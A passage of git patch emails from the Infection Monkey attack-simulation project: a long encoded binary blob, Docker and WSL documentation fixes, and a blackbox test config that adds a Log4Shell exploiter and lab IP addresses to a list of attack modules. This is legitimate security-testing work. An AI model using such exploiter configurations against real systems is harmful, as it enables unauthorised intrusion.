z<(h27F)@87*Nr_~+V2mE6hjti8uj)OPAg4Z$dGtp-M$QVl^is!98C;G9OGv%TceHL zCD!L;SzDR38fIoE!I_kBdEO0wf3SMFHGGsyXOUz>0mAKO*UJzxGomE4jEo&4lQ2Qh z9_ptd=sv?`$hTknn|Nm3AI&lu0C563A^@ ziUsfo>}*vS8-zWgw~`7>d*KINEcGW2Md9a&GKZrlFl|-jUL;Y(pyT&>&LKvXGqo#y z_SNfK3&PusDa?@QdSRAqFCO2cgKJ^&Da)ANcj2g{&UgMjkUguIaJyDVDD#Ps#E~X( z+JUi;*pe+k=`v%DPI%_5(dT$Iu0fWcO^(~uDB_B8tSgDbZHX~bDmdjU9A#1-^6}{W zT2~MGftY$NfOCR50k~&syYdYw!da{^-HRpUAdRb-<_Kju5dQj8v%nLkyb<=ZL1iBo zaV~x$I=pBY9sV=2_DKi^wJLQ2fZnEFpPyMzOe(R>NHC$IwuqwB5&j$=8Y3Gme!vtn zOkmJ8H?_()1ts ztg*xQKu?0Xm}^%jCi{LRZZ;igQYkGy84e4d%DtIYH5foxV|1K{eIF-dPMyXOIHM%5 z%s8FPlvwUMe$DlL^Au|%?_VV4-QM_&68FbEQQ4-B&|3@^{S3#hWHNDGAqz)q8mHPB zk(Q$Lx46bajM!4>sMvyIdD?5^Q02w`%bUGxu6z`QNW73ZW=lL3lEw9)U4UGWXj&ec zc0{xsX@<1?rUg-y;0+ZBskpHGGd`wWACeRPa$@iysZJnk(AH>W@{5es>tIO&+t=Hq7(P`$~eMc9I{d zg53pMr~4$+WaqY!b%#4FrPF!O^d?FhXZs*{0iYPj7l}fWdk6r8&f-bMaKi4xaw~?Q zg?ui*@>kC=ss(^F!R24TSM?{lhzOZa?I;@E52$uRpa&7H{O|yPZ&s2oVIY^~8$b8Q(5Jm$_Ywjmd2NX*9ex*m&Oc;dSTcm4}At;>FLK|nQJMxc!d$E8-`A?m3RA$jzTx#}7 zJN3HLDw^agv##b9;+XTF5*q%9sx9_t!;#;yete5`P=$#`qhbReD%sQu==@Sq zVOua9D&^C0pV-A!`b(CdmeRhYsp+Dgj-Pl5sv%jQ1W8bj!K7neXj`_g!`ipp4{lGsBtP2qOLvZr}b zQ9-s=omqrYUZgL1R2puqRqrN+?X-igtuj0OkXd17V}w8uIa&DJA1hXA6xZkp-~1O* zu(=Z#_fVj3&52yw{o#+b$G)tyOxEOADNehA4AK^pXQIki9ennm_|X614gntsWR|2d z%~ROgOpQoun|i{HrKAP)S{iGsaSjZ8X}6aj!=1{=8Z*=j#;F)x{p(M(%wjq{NFeF$ zeKn-*O#UG7a+>Gmdx!S@8*j4nD#g1oyqWnvli=H8AAI|{EJc<#5A>NT16LJg8Q~jD z)X?O1Q&ZMZF}=sr*l)P3XAL>M7OvVPdvD)!n~xOEtyQ7x=CY^Dls)W5d(^-=%4zO~ zSeti!-a4Q?Z`|bS;HKIM_YIgk{A3HY1%SR{8I-%3mtt>9sQYvr_1Mjm^m36rd{xo4 z8}UX=vMHB7GrX7hpf6v=f|Hi(DA0nj<%=ZVd;m|dlwjELNlfx%v)Pm_)BbZFO%rLU zJ(jEDluWL}z1JQyuj(4YS$>c)fZ&*J%Pj2v$fV>3Yn}L2YN@8PGY|qKW2D}Me62&P zaRub}EhPxYnM(=H&KiyGzn8&v^_F5KjtWR0i(6g@6=+YN9B^}1QO!e-rApX1nv*do z(FlrAU%(E%jIrg%jh1nNa4{YyZjs&ISRR+#3N>F*u7^_^UcoCrKGcNuo@F^QTh1~?7Wrw zEiW8A%&3cL7l(8vv0VT&GLfp zsU^ms5C2&+rzRWW z*8QF?7!tz{F)IVD-sni5>D%B~RcgF`^ls?^#P7MtOW{5wOMetl9oOr{7?b;m0kPii z(}WkgCo<~(7M2xzGlpMt8g2#teYr2BLoeW7PlH(CHMf*)2<}{uitN7kPD_-|H$^sj zaVn(BpRG3$q=$|~j=+t7An09Y_L_-Pz|l%u?)-~15+0$;5kPArfL{RMt)k=pRrQnI z@l181IL2$GWmCWZ==iqGe!0#OeQb$CAH&VgK|=_?jXBqwenS!s(aJq*;12e)PD{AR z`Aw81)>&GxI=f*GX1d^fXx_Hm;QBQv=bHX&M+ebte4x)E@Z0pQh||I-s)E zn)aT9W+C|Kvqirw4v-%hpjbInoVBCl+~NNK{J;;x1=)@*VD5xuNltQoYSAnl?;8x~T zWj^UqifVLEiYSnQe!rU-GJeI5VAc|@ac;YQg2xLBD$4OmwFWo$T~C_y`9=&{Q=~3l zSr4I-J>PAyY$yL*bY1FFINsrV9k{lRx1_Y`*=)D!y>f14+CR@YP2y2t^c1*sh%S}c z9B@8FkdpcSoQj=VV{6j%fs=)RRSEBShot}r80+_TH?^Pi>K-o&zAitkySR)m&?G&>c>M1YdwvDqrQ@XnP(`Gh6$ zLB@RN=0@;W`M=&u7c(D0w7*5avXQvMb$LA+99HP{XP;1r_gKZ%y%G4FU8EqKGe|E4phlZw+?Q1%)T4W2?zx{V%>G6b2 zE`l?0N4wIbBy=e+xoq3R9MhWkGyK@uK%*Bn!-aCsQMlAzj46tHy6YR_x*dN^ zf~j-E{;~W(6E#2VH^+mxpURKn%}8x5C77Q_Pp6$bC%!ku)=@;}
      k zv|~$CZT5k6sAaibU_0k;JZ-Ot5U9AwJ5qo%fc7?{uMr!J#*53=(ToLoxw#E2{HS@`9 z$YY$xa$_YfD4pMro>mPN+Y2!>>2u;S_k$u!cVKaV`Fo@w;oNxKg&T)aC=1;h>i+l$ zX0*K?1s9kkNE2G4PVaEOP7Kv5dF(#kPwma|qgmA#-XJJEYqI|e@vusg`C?b<$|UM) z-a|w>og*@ols3c(XEGcB8}(s8%&hgBmuF*(dcT?!pBvOli-l2T=1|DVY6f5vXbW6r zEn;5mig#oDLrvssX< z9t_%|SSzBPlch0x;~hJ;pCO}wmd@l&C(&d2*O(8Z61fwq@g`B>0o``*NuftYYIVna z-iw2yT1m2Hg@!8HaJ^022J<4=NfU7TS=LBeAI`fw)x5_tCox%owql9aTYjg0HwHM{ zec|D!hUyG40%j~8l0E}f?fr|p2IF`D)~=ph(AkJ1PrGkxWf7~HCo0nUy7Z!Aarwn~ z<6Q-O=eA;{W0r|qd4%+&*xpaVqAbA}B}fmAtzDy|6(flzzOh&eT=p#T=^W@eQ@Q=C z*Ou~;K(5nJIBa7AV=oJI%t@Z4+qWsB$jshHf?)LyTCpwG!C33%p3aNCmaBP`&2=oZ zd8j12k{hb3HUAWW0!l62tg+B54e8G6f2~e0*SEa>A$zrK=NA(ibA!m6UH{CB>Y9xc zv&6DA#(l~d%-T1GYrls8f#)`7HqTQI__$iLKa!k@6bq(J6xBjExDa|Sv>!9lTHdeX zv|p0=gn_Qmq?=Z~OC13b^ftBam6Tg=7f$8xr9Enta@)7MY0Wln{|L8$l#-6DQI@Sf zdT)=$&Q;$2Kr6lr8PH8O?MeWe0a#EeY zJkyj^br0fjaa};xuI6^ZDf-pEf0yr}(4L&v|I)fY;h9^)iF3hZ;k}CtVS zEQ(sMB}91S``O6W0fqxoR6FW+EN&H%^VR9ANnNPe=nmuMC=%f_%-$--b-f*p%a)ex zQ`DA$i*TgD8$Owen9I45(U6nidqCHzDIf%c^%qy}!C~MZUNs7P$;_6kLU8 z^tSi$0@fQM$2UQbBPQ&(7Y zO>Or~{+Km0c>R}G+?3}yx3gRK>$k7xU=6x85q$rVc(*00|hE zO=q}0(X3DdtYonVo8r=PzI)J~T?J&o%hemw=HYN>1Kws!=wb%kqd^u)YzS$-Z;%VH zJA4I`)uu>TCQIo^X)Yl|Eo*4s8i$tPjbQKl)>vW(29^ej28;;6MoFY`1jmj@wvJw5 z13*<|jyS~!c9=|O3oc>p8e~ko=*PVxu>iJP$3Jax#f^Et!c#Y}njt>qQOmy6Dpmfe z;fb9a&92D#*~aa!rWPrPAfY;)!8TErxu5Yy{kPD|AAwhQdnYY82XC{#(x0IBdTFJW zQUtU)0FSdDJ(8a7`+xit{`a|JG&5{bQ5L6wq5Ktf0$;VsnI!gUva;BR5rM!R54Qeu z2AN2jgsQ}XO0HPhE>EvrE3agUAl7h8Lzmn+TDWmeg*{kC#Bn( z3EME}58qlPc@hF`&*?%30Td=^`i5+(WZK*e|UvWY&egjq~!)z=I&(>4cnM%Uh zz1`F3t!RL6s1VRgJ<9yb&X=<4_q%AZRGmZ(4aD$s`Oy;!U7kOux|)-{O0d!z=|DAG z40$7nGo-P3I~i)O7Yz$^YxQa83RGpcb$c60DK8fco+`u~0&mcVHsVaT^P0J*Tl+hd zga>yBR=2p!I9Ut|T=o7UHXXf$1bPy2=XnnDz4gCUh!g+S3SJf!-l7GeOR>>y3~#o= zH@u0n3?65}AEm*E z{N=~YI4zQ3cOI^#sBCJVmCM$6{7)Ka+}QXmfqxe*rmCF{2@g%5jP4Vn=VFc!Pf`m^ zy2F;1%No8?C9RE=%!Uo3&ZvV^OTB{OLf+TiY}S zfA1jY)ImUP@@$3B35Lc}k?aLZj=se!biA&vcLekR>F0U;b6d8<4 zjJTEh#B0)~{?mnf<9SH#O9$S1OB{ZM#K}^{Zbn5gV6`bKLJLP6$IZSlf^1~CR_YT# zPh$t@G=yVf&>5R-2sq=3@7~eit#$z%9l_&4lWFzrgMkLNju{ z4zLG7#_xyDJDm8i1zK^lspT&~zNI>s`o4nrB+To2anQ7~zUa&RCbiNAK)++J$!vhWLoh^!JO&JDZFXuiNE-i|fq< zLOwtGZN<6tROi8&Uc0Yx(Iz}K=gRX12L`>(uhWfSW`AgwV#VF_C%K!)cBpxFO!-}`df*(7MBN^|hut0G`B zS*QyF^|Ge^Ku^N2PV7Zx|WBN->6!=2te&LywrE@LC@N(GHatHD@ zSb;;hJyxBJz6sVpTOPK!LHbEOD_H(x#xF_=wBGID?V8;3u>NbiAo%e>JGf>psLo}; z+itI6>+sl3V{p7V^u!Q<4uU(W(8-(C7qPD8h>fs{-wC(tb=9Tif)?p&9Cu1lPv_4< zHgouGTDj{RHx8d}=XTw+_rn8S8hy@IH#a;l0QGXhI~7W9Q9;0*4}_S=WlJ_$YxdC{ z=dh(8NB8q%8$i(f@lkyu&w5#@HynXEVRA#@-{VhvrK%RY-jWbl^%hy>{Q^`yn}c!H zmKM%yHT}Nle!2e+ZGDKlBp_P%p#1DCuU>tHJX1K(-dPVbwy-*sA$C|*wk_ooa-NE1 z9WA>F3mKwA2Yhj|ZoAQXb(es`)Z@w^c@WujJ&|jFOO-jFx4S(x{=Dy7ED}7aS-(O0 ze!=CmCd>HDXTyw{ct6*GtUTR)cvUzbkTfC$~1DH8Il}SBf*ulZ0KSQDSKRG6xr7fpK$GiNMxu z63+8Q?}LfF!nJ#2D(j;;#$~baT5fY79U_CPkHM6j`fu`H2%Mp7qS~x4t|kHQ}tu&Mv4mY+z(i3aH#2W z_$yQNA$@=#tUFFvWC@uA1o$l?&lj!?2)QC}kSzO2eT}Bww}~c#B65q(*=7w_#A|~h zM>bp9TrCXnC)s7R70+|@U$EAjzSUZ|8muU_H?0kA%P4VorCoBRRS&z;#|>hB43mE4 z3m1IgVCdR3=<6+NIgiv~JJ2CRT7G!|Pi8gRU4b!TF+OX$b~MCNLi9e4r+~O6i})ot z8$M3q3u|28XzDP8t)d%z_h|wQ`pa_bwMwC!)b-xw#$lOJZ-n8!vOyYa<*RpgcO_JqYmu9v^|G8mOrMf& zUxHqWuf0ALV@EsOf|e*p)&S{C^#oh#=|IA4bF35-%HX9!PtAy_B@aATaN1<$_5dY; zev};xr>+A;VA4l-87>`(Z`b!{ytSS(wV6CM>UW=s=CR4VKeIV%-l1xE-7&HCY|E~9 z$o2vfwM0ADuH7`zbjix_SpD&FZL^7z3W|^wBV>WLE)*M%=zV)>uKRcF`;Z${dB5mv zvIBK?CnEACh0R<4lvaeaCs5}8MT7VEb8tk`mk|zYv@(Onx zr1#z}r>9n(fGFMamqtxGL8GERMx_j!)dMj$R)1kuCqI;Z-Z7P9L9APHuKxYYs02QD z9f^?rmL_5{OX>c$`0r5mH02&*?Q>$yu8jH>C{i1F1rJ!YyICr>GySPnnf6)_xOXW^ zhntE#F6|~i%+1w*aZ6l4c-7yrarFfCGYiOxDSd44y(R?Z?Y?_u-EmR103+0bgMlFw z+3nrzU8S$)E2@UEp+bJ7R&Hb+SnFIP7)TH{UyhGPAyKw@vfUi{2oka>#XXlu2;8L& z4$n@pwhxy(w(&8B=Jwg4)|{zmk4LfN7?j|N0;%`RmUhk@`ah@YQu_@~ef##y| zKyxqT$%y3W{K>XGKg=z9m9YEQRe#;NPNPG44~ywCM#qhD-OZN8#N+Wco*6uq7PKdE z1&5h^4#tgX(=zpjXQc_W-i`?HQ5Yx|Iy@8z;Ef_vCyizLP>T(1MWX$OB7RB?|Mhj$ zf}qrsUS`}`=J_p$Tu>d@{%zAUG5)x5$P6!7eeLI`GFnqW3>I^vDDOl>Igu0mdI`#% z;)yG>2LIe>418j&B06Xk>o*o5PBZUYV3YI{0I%?E1VtT!b8zU>8mk58#gM?QIoM!i$&0jd}r0 zhImftGAhqTDlvbxM;&|3B~af@vAL$#t6`SavkaDWrdRL1M*x0*J5&U+b(`LN7wmxK zPShZBavEtrLB4g&EwF}`y@6HDbizrJC7hHoC4X7!7(ikDW!FtUr~6ZqpF7j*-VVs` zO{-D>RJ{JaT7Mj`K{FxBS`2{oSe)Z2Wer^wC|p(Bk)JMLXkPis)%s^TvJNoueGyc~ zU1rT^WYZiX`M@;A7>WuO|5$&A7&_RN1R9UYX|0;vr`s?wTV1W!(P}v4L&xzc>{iYz@A>XyCg)#XWlM;BEP+8DV2@A9?`3(K*XPNr)7D zrvyfeZiq@Q%z5Ucw-od4ga?#<5BbKPYlo=@k%~8-9s)3qMuTD@RxU}eT(|^}zb)lC zH~ZVXy#nL=aGPHW@$*@>zXjWWJh-Du(I1p-HBFm4_Lmhr#b)jWGoB8M>@Z2Gm78wf zFhXVnhO+jyTNwoOUS`>&1g_aUPH=xbek`)yplr^5Ic#-lIUPR^PjSaKlkSLv)@AdrMLBgz4boB2QGsrAs0wh>+GAleEiw;@i6t&qtmsMLr$OXC9k0& zGZmjzU4j?dNA6j^ytOw9<%IoO!$;C7U;;5U+*C!*960!mZx?-@4^_tkj)9RFnV~ zR^&e|gcZ=Vmv(5?^ahKSW&L_VVes}}PPS)d!cUzZv$&l9_46r|s5|p|VMN0Fa1n1Vs$2eZ^o{R2?PtRQQamAawC(pq` zkpcFKQ5!JqE#Q9@8=nmC$1RbbJ*gTyk+0}|K|*8JCtf-;xQo*?YOM8TeP9)*$2S7H zzF!Ep#`h7JKY3nhT;3k)&caftYPgP*|A<)4eDZ)h^U6yvf}*@1j+-Xdk0U5_pn4(= zJh)_?pWtkPWTlyWLN6Z122J(s!aGua=L z=ao~9c{KqW)BdWeebdAkzrUmwDyYB0Hf`DSa_TxUPBC1P(Mb`V!@E!Xkmb2^tqsfE zDNQ3Z$@p4&Ryc+}zX(5s4ns4@zFqM*FZ%B1$>CKH8T>cX+MrQ;EOQ$J9S_Xw6N=Q6 zlVKC+;Y0lW?WPW*fc<-=6vfR6rLOh}+)q>|?a~v~Y50@aHkmsWLnV3aqZ|-gN>y+f z=A0?ihj`|G#o#E&l=SHiM_L98k)u0NPx@(%m)Z1q*%DPZ9z4DBM@yeMzZQjGZ}6Yp z9@UN3l_wIhG8(adHQpr#PSE05P~zP%K7~B$W%ky&k(C-W|MkxN3BPA+PLwZEe}hNL z$7zeU(*~U9>Y@bmT(H3+i=}qB;i}sy3;>Fxa?>uI;M(mAixjtkn|{i(31FX2 z>vP@yxla`>F7fvvA@l;f<>r||X^IdJtKsK!uIv7<#nYDV&o_^uzlf#-q`ZNsUrTbr zSrEqisRlW*(O$HEmR@r*s7WGFg=R8uen*7Ao82Mdqe*+K_*f(k>+-{sVASZ9dUEH(Jk}Gm_rWrqY<)ygIfM( zZHUAP^IcdJBYL z$j#=7hbN5sK2soaa_Dlq+~KmI4d8O0but?_G5fSbtL?s0_9*BeVSur2W>7%jWV>V=sd{ksD+c$E@u1Bf`lp;L8+s z?8Hg{SW6c1hp&)N#?=0zR>%4 z{D&`1wmRMPnqc=Y3c2FMyyGxz`LJ-=OX*rmvV|7{NvBJcbVEcD1*xg;1kP6!`JzTa z==-IOpk8h@2W3y}%dYAmCB*f(Qkg2S{mj6!__UNtQN$Uh-# zZmA7YILfAy1koqgydZ<|hog)Sv8_%TSON8E=BLu*TX|eE-?^?LFJXTmG_1Qlq_6Od zmX8vDN=5@u{PmVW|FEW?OqTC+f@@O&3UE0vcTv7>!nIWuDEgB8hRxX+BfSmYKq+MS^*-3m4WYD>A8vcF|@^tgDteg_HOGgr`u*_~S}-=!s~Kl5mr1pAc2vat>z zbhV?(_$ryc{?J*9F%YL}nkT>ELz-h7Ibd10?UQ-E9sx-t6eyrwvp2LV!+$OR6B~LW zNmEKwO!fyURb%6hAT9a#+q8SoU*>sZ_KvKrp*lFho$5{g<%ZJKLIat6+F7iPFxSJG zU^jqLGW&OY|GJD^7@|pmq*p(;A&ivfA!KzY!b|pVXH`M2*Zj@z zF1$?d*_!ekGi~h=4_O+c<5{vhi7icbsWHZv9nJ@HZ5TK1b#gR`*)}^$+SSfnNPMn5 zYU$2Drm|kp60f5Wgh>cMbyG<<_idLBS3S_5YOhb@R_&{~IoD5ztdxh|FzJj|$^pZe z)>a-zouazDj3hm`3}uazs;=U1)Za>Ji1;J3_#7FxXx*twLroq%nLeyG38S&Fu>Kxz zn+z}!n`Xnho>U@nIeo-&nI7W9Zz!?+4aT9Wq=-jRnVV*wQSr?^@(J=E{KsmupD8>v zy|5|i%@9IO#4Fzo!$v11?7*%}CPcr0%63bS8iI^G3Jir%4riCJM2($jpA;L5GF>a# z0u2t~a=@lZ!F;Ef? zZ5;MJ?>=?(mKu=Q$()jsbRiRXv|9nn+HMe}H=aL+wwqulaP;i=x-8G*{#ok?HW+Wc zHuS8Ec=A^79?B|6QS*l1YCBSN9#K|Ysrwha`L_>8JD&nRF8{i~5G6-S0M`igR#-PQ zx!}3X8v@6WCfc$!`3lng{KO&abH8xQMPi2nEFt*Tfp&Nlt8~~;ewxky4~_nlhuqDs zGb@+%Vgp`W-H*l2vAC)V;|G64lVC?A#?E){OywA%>bZG$@cGzNb6a}QUv%}MR(%@Y z^L9Ayr9R9rkTObAaJ$InA>UMAcoymY?hU7y*)6Q{As8e!kUAeiBSiG$N8~YJ%W3o) zzu`{RnQyX&3p~GQJM{s{#yGG0`E6pV9tDDOa{tW|xSlhrI{6zM)i+^W3q^U_U>XqB zsM+M&{(@Dx-=h|3708^TMU^{DmIB$|XXGOEO=z$U`O4AYQ8z^CtSqu5Np7nwBc}9C z5f)8G{{0H;%NNvEi9f%Ug*jzlv)U(K`DM2s;imd3%Sm5mUOZV$8D+6?t|sR$X9+lG zDn3tW))lyI&0+qdB^lq#x9&{ikp2YJUt*_B{Jtx%^Q|~Fr0{SA-BMKUjRDm|AP?}& zX1(ksr#XQ(_Rg1usAqTr>w8-JT99z&e%qJ1!I0&UX9NUTwNv_EpP0a~L75|R*JIx0VF(F$Y>Wq1VAr+Q(EZ1-C*YlE$J zMk;4tW9S`|T{Wu{OHO)1j{w%ny|zCPy}vY^pS=aq)cl zX?RqfpW@$24fNIRdgXKr2i~zm+k6pj77ZwL_Y2tD?3U&9Ou%+brvHY9L>a6290ld@ z9Z8VrmkG)YAx~{u5N$?o%Ae0%-Dz5ryZHKN8_DE;!Uh4dOK61RS0OPH8!|sUUf`rN z+0!_6$6|_gy4gYN6G3mFSm{$LA#w%lnOd-jb%%@CyT!e~G<9NK-ZdXcpf!AGiO!(V z>kBT1C*r^tlr3waUnC032y@{|nG9E(?HjWpi#R|+WF#7XxKkX76;SI^mzJ};4o%X;q^I$ z6|3nCn<3Q=u1X~#PLxO(cL|Bx`0!v{;0^hN-B(q6Dq=}@6alGoAfO{^uaH}<)*>QQ z)VC=sWgyC|>o<}Z3n-J7+x{;Ut}6Rn8uLG=j_#hW8Y(&h*^Xk*|6 zmC@wAVJi>R`EeLvk##7B^y-_kXRqztv%=RxC;KF5Ki`P#=;Y)u3{-kN-*8|a#~LvF zsk1c07O}ahd$@UR0d#uF(Dpbm8Rxr^20A?OYdgPb&mNC04*y~0oV&lDG(u8ag-_k6mOSp!}!k-I5<*dcJn@+ zQ5g28BT4oadl0Yp_ctp|AcRT26BG^tCmxq6fw;&b?|$sAzrTx_A(wua;0+!;@Q;Si z`{OfZZv=?hJo&5Q6;nK6S|>8U z_r`_t<9Z1SBO+lTv~gqZ1PN5y%x)Hyt1w5Gaw9L?d3eIXf1+U#7E7};r$*)i`MB7u zxj02e2o@ZNKZNmBq-rJ_W#SFyYH|V_A;i^3x0WRsU?3xmOT%kn;{wpdIN8t`#k4G- zGd8$qg~ga_iGOdcE|gC-f66g`c+RV19|uTs#F1y!D4+mDBk(0-@lKZ-XBOGJkG`7O z&L24wxIS8efz*#0DmuQG`^Td^>O#oF$gDad1*O|B1kTK2lc=B4zMuQh!>c?hDj3c# zNFp8Kg)<21*1nk$Z^N$e^z#3Tl+;B5=pH~L+EdLo33&Xmt5vM0NK@4YUb4|S<-%_( z?+|#3$_4DOU%#Tg&RRqG_9G~d(vC5=W4vN5*&>X1& z-hJl@`z~__qudbQ`ZuCdWuhL*6^k16r=L6@_^aP)%-XcNQO$HEyU=dY+Jw;qWWS7Y|PMOF-zS!-=zYoeAG+(V+0*f5iBSkkdLNP zjRhwYt*P~w(+N+Q9XSZaq8}uG?nWm>yD|M%5wS8kACD#r)wf%a<#?%P5E-8;d(&Q;Q#hecu;P)4@C^@-uzzdo zPWWGO!w2VDXAx-0Ir$*fR7=at{OtfLaVj|_t6z<*{uN3*kIFLgS|-H#VW*F1{J+;{ zscubdzsHe@)`rKQuudnD|0@t5f(qP(EHPNCp7_UuBYM#t;0PD>eh8yl7NK0M;SLRn zasZ%H$QC?RSY!%toR+d^l3Cy&En(JPU2Lqj>mCXP1pM~FkW$Q)A3-#(3FGiJoMm%| zZ?H>>bh5Hsj_;8!0AMkvx4QlUwPLJ#Xy?c02g95E(TO#5fuq%`H8)Y2?KCl zl@MCW68Z$6V(5d@`pq5PXpqg|30rfivSRqrvzbD3@2%LAhM8p@j}{0^Tqh{4 z!d8#iWf!y|S-&QCy)OUAN3R^RNzGiNxA@0HUXMwV7r#@sXJ<>nKIFp{FE&6phccSm zv54_&y5&qNXE}2%M5(?#p$U}Z*xE7h(N>ScPW;d;9aC}4*{hR4J$GsJ!CokN22%WX zAw2j)-CWG#AhI;BnFjqBK`;ESuRUIoxIg6C>`mpY>4rFCB7X~YsEY02Ln0B&?{h76 z?goDyKXE-W)@yY`b7(flQQnU-_U2@R z?Rj&NTYIfa$9i_ti}OKsh?G+9hNj|*p7n}nWfSQ1_|k^C_kSM;-~Wly59ZgBXK>5hX~@K)d8i zN10b1!0iNHUX2^>D)TG>*(Gi1>fsT$iiN|333+MEa~jP41UUE=PU{FtKiifdD~Jgl zZ1vaR3zu<&EdiSHM5F6RS19x~WFi!O|dmw*O1(B@tWBk4Qp2{hf{ zX0+=4n}(UoXOw3){mq_DD}0(>J0CSh8hz>e*-{NRlZaUnW2N5_E1z>EDFXDJ3adfL z>{}UrqyuS2L;QV_{Ef28$|`XlS6b9Zwvn_EA!WQJrCf+Mnky(3v^03v@(vc|s<6bY z&@MK|wf#{xs)1}Hx&!DS%H3E`m||Ny&zF7h8XkXSf3+DS`cqMN;3@60TJ0CVIz8LP z;QaYf?QKoyic)+WUZY8?3WoV`4vDKsn1-nbM2(B2B?fxSpG^pEi7~IF(nASAw7^e} zD-Eimhb|JVCbyL7GAbgKRpyPiS1-r_;`+PENAt7LgLe&aLO7A(M*=|FZH0nnYNAcv zju?0UOPmmX@5JYDzxZ%+C0+Z9rn+#)AvE*Yl0B*@&J>u|UZ-9} zXYQs3j<>m3hp8XemrVXN*|=B3p6w_GMypw>96hSkjlmod=|?~GsWi@GThG6b0e50t zR>H?XgP4~o+d+S@Rocj=R(S4fk7S@gQLfa@LK6V!?{88=pfbQS0M==u6Tu?tb;&DxV(3pWPmi93gIDY&Tw2MCxLrFiqP$_Ig-`7lG zCY&>gVcNhR?@N{l4@*5R4#BI2EC_QlroQ#IulDd73JlJJ>#GAtHnlPK`$&Cl+;uf7 z>%bdrW=OzU{s@unOv)XIs`(>e<(+{GD{Co<2&;@-@!f*}UXkXm+v`epcJb8cerFqY zjN#{1QWHz-QDTKiku#-koL={(vq<%N?$E)pM*hn2y9H9NA~J#k-SU<#8Vm$% zY8sQx+6nhXiCZ10ETT|Tm-b7zZ+%IB2c(eFr+w348Np}k3_bxVlb5G6q`D?i9yOmu ze8*9t3r0_@;&Cy+JQ!9-Y z6N@N8$y6wI9yzt#!#ft$bh=&qH{&M_#Znr%QlCE{MbuRauSs9khM*x=tPq%c@@S>V zOA4^88y=!tyc#=s&5P#JRaiaIk&>j_+<_Ep4j+MjF8!oH&~3HI<7QYh`C#P0bKxfi zZMFN2ZaJ9}%ZRrcM0y8)&yKcd)uZM^N^Bfe*L+t~kQ`yWK22SV1Q6dq(&5Myd!%yb zYlco{_fRca2H+2-f`pYha{!lTXGVw~G8LtVHEotk&JXq;?XN zjPcZ2zAIhMKm<0MTZXCFp(Jz8^ z-KQVg9&qOlqe+@&0~EnSliTxnb`m>u3<~HF|9d4XAU0GXcQaERnx-;5+}-{v`b^JB z^_sWK?lkqBzuIT)tjK#Z%a=nrE z-%&z|E>c71w+Q5dtyKpFtbLG5}w$2-X@dF?wQW z7t)Ws;Iy)bKuuv?_y|zH-dYUO&}-A4?rqjQ%@(G9A*+qH<~o4C85UkkI_R8TPlBL- zzdSWDU~w3MiD}Yt3dKWm9pf#C%&aFeJ$j*A0xiG6zSSe=yYBt-a(Ks&6JX2!J5HMJ zq9)Fxw>C#LcX4(RX6Bx&VuyypRQ$$ip|D=e_N?6Yp=60CvgapFmb+cwGJ;b9gP-PZ zVDEp9h==8h$8DXG)u7-SU}wgvUyV4#b!>kfzE0MvZ*BR~n!03&A&=T~j5}w$8_(Mhv%GJ(!zV_bu zB3rxg&JDZV8+Lh2U=v=S0;GVcZ@&LQ8o3%eV{tHT)n0QlXh~!UDl!-an_ocOtzh4! zG1FJzo-Qgbkoat!l_dNb+i~ ze=niM?>}Pf-}Y{&zSX-BJSVL{aj5?_%T4V e|Kqo4`yupe Date: Tue, 25 Jan 2022 15:03:06 +0200 Subject: [PATCH 84/87] Docs: add version to docker examples Based on docs it wasn't clear what user should substitute for "VERSION". By providing specific version like "v1.13.0" we clarify the format of the version string. --- docs/content/setup/docker.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 4cc40fc55..1ea6b5b8f 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -64,7 +64,7 @@ been signed by a private certificate authority. --interactive \ --name monkey-island \ --network=host \ - guardicore/monkey-island:VERSION + guardicore/monkey-island:v1.13.0 ``` ### 3b. Start Monkey Island with user-provided certificate @@ -91,7 +91,7 @@ any volumes associated with the previous version. --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - guardicore/monkey-island:VERSION --setup-only + guardicore/monkey-island:v1.13.0 --setup-only ``` 1. Move your `.crt` and `.key` files to `./monkey_island_data`. @@ -134,7 +134,7 @@ any volumes associated with the previous version. --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - guardicore/monkey-island:VERSION + guardicore/monkey-island:v1.13.0 ``` ### 4. Accessing Monkey Island From 28cf8b55cfaaeb201aae414bb391ad8bb7da9627 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 25 Jan 2022 15:16:32 +0200 Subject: [PATCH 85/87] BB: modified performance config template to contain log4shell machines --- envs/monkey_zoo/blackbox/config_templates/performance.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index 2662642e6..6cdbc0353 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -26,6 +26,7 @@ class Performance(ConfigTemplate): "MSSQLExploiter", "PowerShellExploiter", "ZerologonExploiter", + "Log4ShellExploiter", ], "basic_network.network_analysis.inaccessible_subnets": [ "10.2.2.0/30", @@ -59,5 +60,11 @@ class Performance(ConfigTemplate): "10.2.2.23", "10.2.2.24", "10.2.2.25", + "10.2.3.55", + "10.2.3.56", + "10.2.3.49", + "10.2.3.50", + "10.2.3.51", + "10.2.3.52", ], } From ab290fd7328332c317f0f5f8a77dbb39fb6f2ee4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 25 Jan 2022 15:20:33 +0200 Subject: [PATCH 86/87] Docs: clarify that AppImage can only run in WSL 2 on windows --- docs/content/setup/linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 6afe38a4d..c317be9d5 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -23,7 +23,7 @@ installed, but the ones that we've tested are: - Ubuntu Focal 20.04 - Ubuntu Hirsute 21.04 -On Windows, AppImage can be run in WSL. +On Windows, AppImage can be run in WSL 2. ## Deployment From fed7d050be1465e9aec3176b5765511fcac80dfb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 25 Jan 2022 09:54:12 -0500 Subject: [PATCH 87/87] Changelog: Update version and release date for v1.13.0 --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md 